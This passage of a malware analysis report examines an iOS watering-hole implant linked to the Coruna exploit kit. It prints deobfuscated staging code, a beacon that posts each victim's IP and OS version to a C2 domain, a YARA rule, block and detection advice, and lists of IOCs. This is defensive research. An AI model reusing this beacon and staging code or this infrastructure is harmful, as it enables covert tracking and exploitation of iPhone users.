  else if (Nn.IqxL92) cryptoModule = await ZKvD0e('91b278ddb2aec817b10c1535e0963da74f9b8eeb');
  else                cryptoModule = await ZKvD0e('b586c88246144bc7975ad4e27ec6d62716bf34ea');

  F.Mn = cryptoModule.ga();  // crypto object used in WASM challenge
}

The PSNMWj flag-to-crypto-module mapping:

PSNMWj Flag iOS/macOS Threshold Crypto Module Hash
LJ1EuL 16.6 9db8a84aa7caa5665f522873f49293e8eebccd5c
wF8NpI 17.0 (resets LJ1EuL) 29b874a9a6cc9fa9d487b31144e130827bf941bb

Both paths also call 477db22c....ul() first for shared crypto state hydration.

WASM Proof-of-Work Challenge ($n())

$n() is the final bot check: it verifies that the WASM module's compiled machine code matches an expected cryptographic hash, confirming the runtime is genuine JavaScriptCore on real hardware. This runs only when F.Sn=true and F.Nn.sKfNmf=true.

// Deobfuscated $n() — WASM challenge
function $n() {
  if (!(F.Sn && F.Nn.sKfNmf)) return false;

  const expected = 9389;   // 0x24AD (decoded: 1903251526 ^ 1903260907)

  function verify(exportFn) {
    const fnPtr  = F.Xn.tr(exportFn);                 // get function pointer from WASM table
    const memPtr = F.Xn.nr(fnPtr + F.Nn.rvXShf);     // read memory at ptr + version-specific offset
    const val64  = F.Xn.rr(memPtr);                   // read 64-bit value from heap
    return F.Mn.er(val64.Dt(), expected).lt(val64);   // crypto equality check
  }

  const qn = !verify(F.Xn.a) || !verify(F.Xn.b);
  return qn;
}

rvXShf is the architecture-specific memory offset from the version table:

  • iOS 13.0.1 – 13.0.5 → 72
  • iOS 13.0.6 – 15.3 → 16 (then 56)
  • iOS 15.4+ → 64
  • iOS 16.4+ (UPk5PY=88) → 88
  • iOS 17.0+ (UPk5PY=96) → 96

Pass (qn=true): WASM JIT output matches expected hash — confirmed genuine WebKit WASM engine on real hardware.

Fail (qn=false): Emulated runtime, wrong architecture, or sKfNmf=false (RoAZdq path) — falls through to fallback final action.

Stage 6 — Final Action Dispatch and Payload Invocation#

// Deobfuscated final action dispatch in fqMaGkNR()
const wC3yaB = fqMaGkNK.zn.Nn.wC3yaB;  // true only on iOS 17.2
const qn     = fqMaGkNK.zn.qn;          // true only if WASM challenge passed

const finalModule = (wC3yaB === true && qn === true)
  ? await ZKvD0e('7f809f320823063b55f26ba0d29cf197e2e333a8')  // hardened path
  : await ZKvD0e('c03c6f666a04dd77cfe56cda4da77a131cbb8f1c'); // primary path

const result = await finalModule.lA();

Which Path Runs on Which Device

  • wC3yaB=true AND qn=true → 7f809f320823063b55f26ba0d29cf197e2e333a8 — iOS 17.2 on Apple Silicon Mac running iOS app with WASM challenge passed
  • All other targeted iPhones → c03c6f666a04dd77cfe56cda4da77a131cbb8f1c — standard arm64 iPhones, iOS 11–17.2

c03c6f66... is the primary path for the overwhelming majority of targeted devices (all standard iPhones). Its .lA() method is the terminal payload action. What .lA() does is being researched.

Independent of the main payload chain, an immediately-invoked function expression (IIFE) begins beaconing before the anti-bot probes even run. It fires 2 seconds after page load and then every 10 seconds indefinitely.

// Deobfuscated beacon IIFE (runs immediately, independently of main chain)
(async function beaconLoop() {
  await new Promise(r => setTimeout(r, 2000));  // 2s initial delay

  const channelCode   = "CHMK6IG08F42496C22";
  const c2Endpoint    = "<https://l1ewsu3yjkqeroy.xyz/api/ip-sync/sync>";
  const ipOracleUrl   = "<https://ipv4.icanhazip.com>";

  async function sendBeacon() {
    // 1. Resolve victim's public IP via legitimate third-party service
    const ip = (await fetch(ipOracleUrl)).text().trim();

    // 2. Extract OS version from UA
    //    e.g. "iPhone OS 17_2" → "iOS 17.2"
    //         "Intel Mac OS X 10_15_7" → "macOS 10.15.7"
    const deviceVersion = parseUserAgent(navigator.userAgent);

    // 3. POST beacon to C2
    await fetch(c2Endpoint, {
      method:  "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ channelCode, ip, deviceVersion })
    });
  }

  await sendBeacon();
  setInterval(sendBeacon, 10000);  // repeat every 10 seconds
})();

// Outer reload loop — forces full re-execution every ~16.7 hours
setInterval(() => location.reload(), 60_000_000);

The second campaign code "1DECX7UIQIB43" is declared as a constant in the outer scope but not used in the beacon body. It is likely reserved for an alternate C2 channel or A/B test variant that is server-activated.

The use of ipv4.icanhazip.com as the IP oracle is deliberate: it avoids self-hosted infrastructure that could be blocklisted, is HTTPS, and is an established legitimate service — reducing the chance of the pre-beacon request being flagged by endpoint security before the C2 POST fires.

Result Codes#

The fqMaGkNr(code) function reports execution outcomes as a GET request to a callback URL derived from fqMaGkN4([]). In this sample the callback array is empty, so fqMaGkN4([]) = "" and no beacon fires — the attacker has disabled status reporting in this copy, likely to reduce forensic visibility.

  • 0 — success; payload loaded and .lA() returned
  • 1000 — partial success; setup completed but final action not confirmed
  • 1001 — abort; failed browser gate, version check, or anti-bot probe
  • 1003 — error; unhandled exception in main chain

Module Hosting Table#

All modules are served from the same origin as the implant entry point (utaq[.]cfww[.]shop), under a path derived by the content-addressed URL scheme described in Stage 4. The session key cecd08aa6ff548c2 must be known to correctly derive fetch paths. Fetch paths are computed as SHA256("cecd08aa6ff548c2" + moduleHash)[0:40] + ".js".

Module Hash Type Hosted At Inline or Remote
57620206d62079baad0e57e6d9ec93120c0f5247 64-bit math library Bundled in utaq[.]cfww[.]shop Inline
14669ca3b1519ba2a8f40be287f646d4d7593eb0 Fingerprint + capability engine Bundled in utaq[.]cfww[.]shop Inline
7d8f5bae97f37aa318bccd652bf0c1dc38fd8396 iOS 11.0–15.1 WASM loader hxxps://utaq[.]cfww[.]shop/5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js Remote
ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44 iOS 15.2–15.5 WASM loader hxxps://utaq[.]cfww[.]shop/46ecd515ac9e99ef0603063db39303a0fd849632.js Remote
d11d34e4d96a4c0539e441d861c5783db8a1c6e9 iOS 15.6–16.1 WASM loader hxxps://utaq[.]cfww[.]shop/ff4f3cb4711fb364b52de5ab04a8f83140466f89.js Remote
57cb8c6431c5efe203f5bfa5a1a83f705cb350b8 iOS 16.2–16.5 WASM loader hxxps://utaq[.]cfww[.]shop/8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js Remote
e3b6ba10484875fabaed84076774a54b87752b8a iOS 16.6–17.2 WASM loader hxxps://utaq[.]cfww[.]shop/6beef463953ff422511395b79735ec990bed65f4.js Remote
477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba Shared crypto init (.ul()) hxxps://utaq[.]cfww[.]shop/bef10a7c014b826e9dd645984e80baf313c1635f.js Remote
29b874a9a6cc9fa9d487b31144e130827bf941bb iOS crypto getter — wF8NpI (.ga()) hxxps://utaq[.]cfww[.]shop/4a75f0551eba446b4fa35127024a84b71d9688d6.js Remote
9db8a84aa7caa5665f522873f49293e8eebccd5c iOS crypto getter — LJ1EuL (.ga()) hxxps://utaq[.]cfww[.]shop/3fd66b32c44150acff3dcb80f86c759574148ed5.js Remote
171a7da1934de9e0efb9c1645f4575f88e482873 Desktop WebKit crypto getter (.ga()) hxxps://utaq[.]cfww[.]shop/17480ecc0120292fb6b8b19f2fa134385dcfd0fd.js Remote
91b278ddb2aec817b10c1535e0963da74f9b8eeb Non-Safari WebKit crypto getter (.ga()) hxxps://utaq[.]cfww[.]shop/f6377d5d458183d41c5fd99661c5a306b42c6255.js Remote
b586c88246144bc7975ad4e27ec6d62716bf34ea Fallback crypto getter (.ga()) hxxps://utaq[.]cfww[.]shop/3bc0f6865c0476c0a98a76cb9924d6b3972df591.js Remote
7f809f320823063b55f26ba0d29cf197e2e333a8 Final action — WASM-verified path (.lA()) hxxps://utaq[.]cfww[.]shop/8835419f53fa3b270c8928d53f012d4c28b29ea4.js Remote
c03c6f666a04dd77cfe56cda4da77a131cbb8f1c Final action — primary/fallback path (.lA()) hxxps://utaq[.]cfww[.]shop/9af53c1bb40f0328841df6149f1ef94f5336ae11.js Remote
ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8 WASM ABI sub-module (PSNMWj/RoAZdq dispatcher) hxxps://utaq[.]cfww[.]shop/aea58f0e58801b528702a6c66bf4af8b99041243.js Remote

Overlap with Coruna Exploit Kit#

Google Threat Intelligence Group published a detailed analysis of Coruna, a commercial iOS exploit kit containing 5 full exploit chains and 23 individual exploits, targeting iOS 13.0 through 17.2.1. The overlap with 49554fde7424c31c.js is extensive enough to conclude with high confidence that this sample is an instance or close derivative of the Coruna delivery framework.

iOS Version Targeting — Near-Identical Bands

Coruna defines five WebContent RCE exploit chains, each covering a specific iOS version band. Our sample's five version-specific payload modules map to these chains with near-perfect alignment:

  • iOS 11.0–15.1 (mmrZ0r) — Coruna buffout (CVE-2021-30952, fixed 15.2) and jacurutu (CVE-2022-48503, fixed 15.6)
  • iOS 15.6–16.1 (ShQCsB) — Coruna bluebird (no CVE, fixed 16.2)
  • iOS 16.2–16.5 (KeCRDQ) — Coruna terrorbird (CVE-2023-43000, fixed 16.6)
  • iOS 16.6–17.2 (JtEUci) — Coruna cassowary (CVE-2024-23222, fixed 17.3)
  • iOS 17.3+ — hard exit 1001 in our sample; cassowary patched at exactly this boundary

The hard cutoff at threshold 170300 (iOS 17.3) that we decoded directly corresponds to the patch boundary for CVE-2024-23222, the WebKit type confusion vulnerability exploited by Coruna's cassowary chain. This confirms that our sample's primary target path (JtEUci, iOS 16.6–17.2) is delivering cassowary.

Content-Addressed Resource URL Scheme — Identical

Coruna uses:

sha256(COOKIE + ID)[:40] = resource URL

Our sample uses:

sha256("cecd08aa6ff548c2" + moduleHash)[:40] + ".js"

These are structurally identical. What Coruna calls a "COOKIE" is what we decoded as the session key cecd08aa6ff548c2. GTIG notes that Coruna resources are "served from URLs ending with .min.js" — consistent with our sample's self-registered name 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js and all remote modules being served as .js files under content-derived 40-hex-char paths.

XOR Obfuscation Pattern — Exact YARA Match

GTIG published this YARA rule to detect Coruna's delivery framework:

rule G_Hunting_Exploit_MapJoinEncoder_1 {
    strings:
        $s1 = /\[[^\]]+\]\.map\(\w\s*=>.{0,15}String\.fromCharCode\(\w\s*\^\s*(\d+)\).{0,15}\.join\(""\)/
    condition:
        1 of ($s*) and not any of ($fp*)
}

Our sample contains this pattern throughout all three obfuscation layers, e.g.:

[118,116,117,...].map(x => String.fromCharCode(x ^ 67)).join("")
[99, 39, 62].map(x => String.fromCharCode(x ^ 77)).join("")

This sample matches the GTIG YARA rule.

Integer Constant XOR Pairs — Same Technique

Coruna uses i.p1=(1111970405 ^ 1111966034) to obscure numeric constants. Our sample uses the same pattern throughout:

(1231382113 ^ 1231552349)   // → 236
(1903251526 ^ 1903260907)   // → 9389  (WASM challenge expected value)
(1345340530 ^ -1361199427)  // → 0xFEEDFACF

Chip-Specific Dispatch — Same Architecture Discrimination

Coruna dispatches chip-specific exploit modules: IronLoader targets ≤A12 chips and NeuronLoader targets A13–A16 chips, both operating at the sandbox escape layer. Our sample discriminates identically at the WASM layer, routing CPU_TYPE_ARM64 (0x01000007) to runtime RoAZdq (standard iPhone A-series) and CPU_TYPE_ARM64_32 (0x0100000C) to runtime PSNMWj (Apple Silicon / M-series), then loading architecture-specific crypto modules. The underlying mechanism — reading cpuType from heap memory to select a version-specific exploit primitive — is the same in both.

.xyz C2 Domain Pattern

Coruna's DGA seeds on "lazarus" and generates 15-character .xyz domains. Our C2 l1ewsu3yjkqeroy[.]xyz is also a 15-character .xyz domain and matches the character-set and length profile of Coruna DGA output. The hard-coded Coruna C2 list contains 27 .xyz domains of identical format.

Campaign Attribution Links with UNC6691

GTIG attributes Coruna's third campaign to UNC6691, described as a Chinese financially-motivated threat actor deploying the kit across 50+ cryptocurrency scam and Chinese-language websites by end of 2025. Several signals in our sample align with this attribution:

  • The injection vector (art-template, a widely-used Chinese template engine) and the injector domain (v3.jiathis[.]com, a Chinese social sharing service) both originate from the Chinese npm/web ecosystem
  • The campaign tracking codes (CHMK6IG08F42496C221DECX7UIQIB43) are consistent with UNC6691's bulk deployment style
  • The delivery path through gooll/gooll.html is consistent with GTIG's documented UNC6691 staging pages (e.g. /static/analytics.html/tuiliu/group.html)

Features Left to Confirm

The delivery framework (49554fde7424c31c.js) is the qualification and staging layer only. Analysis of the next-stage modules is ongoing, but the files do not match previous Coruna reporting. The following were features reported by Google that are yet to be confirmed:

  • The WebKit RCE exploit JavaScript (loaded as the server-side .lA() payload — not embedded)
  • PAC bypass modules (breezyseedbell family)
  • Sandbox escape modules (IronLoaderNeuronLoader)
  • Privilege escalation and PPL bypass chains (PhotonGruberSparrow, etc.)
  • The PlasmaLoader binary payload (PLASMAGRIDcom.apple.assistd)
  • ChaCha20-encrypted binary blobs served as .min.js

All of these are consistent with this file being the browser-side qualification harness — the component that determines whether the device is real, unpatched, and worth exploiting — before the actual exploit chain is fetched and executed. Coruna's architecture separates this layer from the exploit delivery layer by design, which is why static analysis of this file alone cannot confirm exploitation.

Summary Assessment

The obfuscation fingerprint, content-addressed URL scheme, version band targeting, chip-specific dispatch, XOR encoding pattern, .xyz C2 domain format, and hard cutoff at iOS 17.3 are all individually documented Coruna characteristics. Their simultaneous presence in this sample makes an independent re-implementation implausible. This sample is assessed with high confidence to be the Coruna exploit kit delivery framework, while linking the campaign to UNC6691 requires additional infrastructure analysis.

  1. Block l1ewsu3yjkqeroy[.]xyz at DNS/proxy — all sub-paths are malicious.
  2. Alert: icanhazip.com fetch followed within 2 seconds by a POST to an unrecognized API endpoint. This sequence is a behavioral signature of this implant family's beacon IIFE.
  3. Hunt for CHMK6IG08F42496C22 in proxy/DLP logs — this string in a POST body is a definitive campaign hit.
  4. Search web proxy logs for path prefix cecd08aa6ff548c2 — any URL containing this string before a 40-character hex path component is a dynamic module fetch from this implant or a family member.
  5. Block or alert on cfww.shop and all subdomains — the randomized subdomain pattern (utaq., cfww.) is consistent with a bulk-registered phishing domain fleet.
  6. Network signature: GET .cfww.shop/*.js from iOS User-Agent — any JavaScript file fetched from this domain to a Safari iOS client should be treated as suspicious.
  7. For iOS-heavy organizations: deploy MDM policies restricting Safari from loading third-party scripts on unmanaged domains; enforce Safe Browsing on managed devices.
  8. Do not replay this script in any browser-connected JavaScript environment. The live payload modules are fetched from the C2 server at runtime and are not embedded in this file.

Indicators of Compromise (IOCs)#

Compromised Packages

File Hashes — Entry Point (49554fde7424c31c.js)

  • SHA-256: f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c
  • SHA-1: 8064d4e0322f069b3dba13e7957ff0ca7dab7984
  • MD5: 6e79ae622b7ef30f31fdbcc2dc65339e

File-Based Indicators

  • 49554fde7424c31c.js — delivered filename
  • 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js — self-registered name decoded from uint32 packer
  • cecd08aa6ff548c2 — session key; present in all remote module GET request paths
  • obChTK — JS global name of the module dispatcher injected into globalThis
  • fqMaGkN4, fqMaGkNR, fqMaGkNK, fqMaGkNr — outer obfuscation function names; stable across this sample
  • ldm_mml_t — DOM element ID injected by MathML anti-bot probe (removed after check)
  • _ldm_ + random — IndexedDB database name created transiently by the iOS Blob probe

Network Indicators

  • v3.jiathis[.]com — supply chain injection origin; hosts jia.js and art.js
  • hxxps://v3.jiathis[.]com/code/jia.js?uid=artemplate — injected by art-template@4.13.5
  • hxxps://v3.jiathis[.]com/code/art.js — injected by art-template@4.13.6
  • utaq[.]cfww[.]shop — watering hole delivery origin; hosts gooll/gooll.html and all payload modules
  • hxxps://utaq[.]cfww[.]shop/gooll/gooll.html — landing page embedding the implant
  • hxxps://utaq[.]cfww[.]shop/gooll/49554fde7424c31c.js — implant entry point
  • cfww[.]shop — domain family (bulk-registered .shop)
  • l1ewsu3yjkqeroy[.]xyz — C2 base domain
  • hxxps://l1ewsu3yjkqeroy[.]xyz/api/ip-sync/sync — victim IP + device version beacon (HTTPS POST)
  • hxxps://ipv4[.]icanhazip[.]com — public IP oracle used pre-beacon (HTTPS GET)

Campaign Tracking Codes

  • CHMK6IG08F42496C22channelCode field in beacon POST body (decoded from XOR char array)
  • 1DECX7UIQIB43 — second campaign constant; declared but not used in beacon in this sample (literal string in file)

Remote Module Hashes (All Known)

All of the following are fetched as JavaScript from utaq[.]cfww[.]shop and eval'd via new Function(). A GET to any URL containing these 40-character hex strings (before or after the content-address transform) is a confirmed hit.

  • 7d8f5bae97f37aa318bccd652bf0c1dc38fd8396 — iOS 11.0–15.1 WASM loader
  • ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44 — iOS 15.2–15.5 WASM loader
  • d11d34e4d96a4c0539e441d861c5783db8a1c6e9 — iOS 15.6–16.1 WASM loader
  • 57cb8c6431c5efe203f5bfa5a1a83f705cb350b8 — iOS 16.2–16.5 WASM loader
  • e3b6ba10484875fabaed84076774a54b87752b8a — iOS 16.6–17.2 WASM loader (primary)
  • 477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba — shared crypto init
  • 29b874a9a6cc9fa9d487b31144e130827bf941bb — iOS crypto getter (wF8NpI)
  • 9db8a84aa7caa5665f522873f49293e8eebccd5c — iOS crypto getter (LJ1EuL)
  • 171a7da1934de9e0efb9c1645f4575f88e482873 — desktop WebKit crypto getter
  • 91b278ddb2aec817b10c1535e0963da74f9b8eeb — non-Safari WebKit crypto getter
  • b586c88246144bc7975ad4e27ec6d62716bf34ea — fallback crypto getter
  • 7f809f320823063b55f26ba0d29cf197e2e333a8 — final action, WASM-verified path
  • c03c6f666a04dd77cfe56cda4da77a131cbb8f1c — final action, primary path (all standard iPhones)
  • ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8 — WASM ABI sub-module

Derived Fetch Paths (Server-Side URLs)

These are the actual paths the implant GETs from utaq[.]cfww[.]shop. Network signatures should match any GET containing these 40-char hex path components regardless of query string.

  • 5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js — iOS 11.0–15.1 loader
  • 46ecd515ac9e99ef0603063db39303a0fd849632.js — iOS 15.2–15.5 loader
  • ff4f3cb4711fb364b52de5ab04a8f83140466f89.js — iOS 15.6–16.1 loader
  • 8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js — iOS 16.2–16.5 loader
  • 6beef463953ff422511395b79735ec990bed65f4.js — iOS 16.6–17.2 loader
  • bef10a7c014b826e9dd645984e80baf313c1635f.js — shared crypto init
  • 4a75f0551eba446b4fa35127024a84b71d9688d6.js — iOS crypto getter (wF8NpI)
  • 3fd66b32c44150acff3dcb80f86c759574148ed5.js — iOS crypto getter (LJ1EuL)
  • 17480ecc0120292fb6b8b19f2fa134385dcfd0fd.js — desktop WebKit crypto getter
  • f6377d5d458183d41c5fd99661c5a306b42c6255.js — non-Safari WebKit crypto getter
  • 3bc0f6865c0476c0a98a76cb9924d6b3972df591.js — fallback crypto getter
  • 8835419f53fa3b270c8928d53f012d4c28b29ea4.js — final action, WASM-verified path
  • 9af53c1bb40f0328841df6149f1ef94f5336ae11.js — final action, primary path (all standard iPhones)
  • aea58f0e58801b528702a6c66bf4af8b99041243.js — WASM ABI sub-module

Fetched Module Content Hashes (SHA-256)

These are SHA-256 hashes of the file contents as fetched from the live C2. All 14 were successfully retrieved. None of these hashes appear in the GTIG/Mandiant Coruna IOC list — this infrastructure was not previously published.

  • 080da430f7e3a38d7cad59887df30d9ac40e70d203c7aa5f5afaf0cafcb73e5f — iOS 11.0–15.1 WASM loader
  • b0b29b6148c4b0dbd77d33f821ca01e2d7a711988b854285a2606dcc53894abe — iOS 15.2–15.5 WASM loader
  • 593548d714f6d48acb886d42bf576d8fd6b1ddae6f888dda0719671a53463663 — iOS 15.6–16.1 WASM loader
  • 2c4a5a49a84f55db0dd5554f7a9e055dbb0eae3782986726c6dcfab84ecd6dc5 — iOS 16.2–16.5 WASM loader
  • eaab0874332777ad8a03a292bcd608a3358547f9f16ab551d34eef35d5cd539e — iOS 16.6–17.2 WASM loader (primary)
  • feb9442c39619d7bb3ff29de8e1d4bebceb1b24f8c0a63da2f2b30a1023dc94f — shared crypto init
  • 473f182b8cbbdb5b4b29b7ad875014d66f1691ed2e770c633b559d97243895a7 — iOS crypto getter (wF8NpI)
  • 329ae1401819da4f87e3726b7e2707afcaf62d1219c4256c828df36af0a8784a — iOS crypto getter (LJ1EuL)
  • 7b8436669563e7d317c219b26432bdaab70e39061ea2c1c70fcc201f2c19c470 — desktop WebKit crypto getter
  • de1a07d8978725eaa6da5658e373e88264ac90515750201bfbe17947d5a9e788 — non-Safari WebKit crypto getter
  • 675a40df5f517f8f0cd99f74c5468f56d1d8f05003e997477a2af3bc7b0105a9 — fallback crypto getter
  • 2cfa14b2cd1f3fd51406cf1ac49c761a5c26ce3994e97de7f1ca469d85248a52 — final action, WASM-verified path
  • ebcc76dcd5ef596e732321a8d16eb2dee525c5d9a68c700b7885648c13c65a57 — final action, primary path (all standard iPhones)
  • 5c0ebd86d2e8ae2087c0a4def4e0364a0cfb85c7e0a753fc96dca55b6c303432 — WASM ABI sub-module

WASM / Runtime Constants (Hunt Rules)

  • 0xFEEDFACF — Mach-O 64-bit magic; searched in WASM heap by lr()
  • 0x01000007CPU_TYPE_ARM64; standard iPhone arm64
  • 0x0100000CCPU_TYPE_ARM64_32; Apple Silicon / ARM64_32
  • 0x24AD / 9389 — WASM proof-of-work expected value; checked in $n()
  • 60000000 ms — page reload interval (~16.67 hours)
  • 10000 ms — C2 beacon repeat interval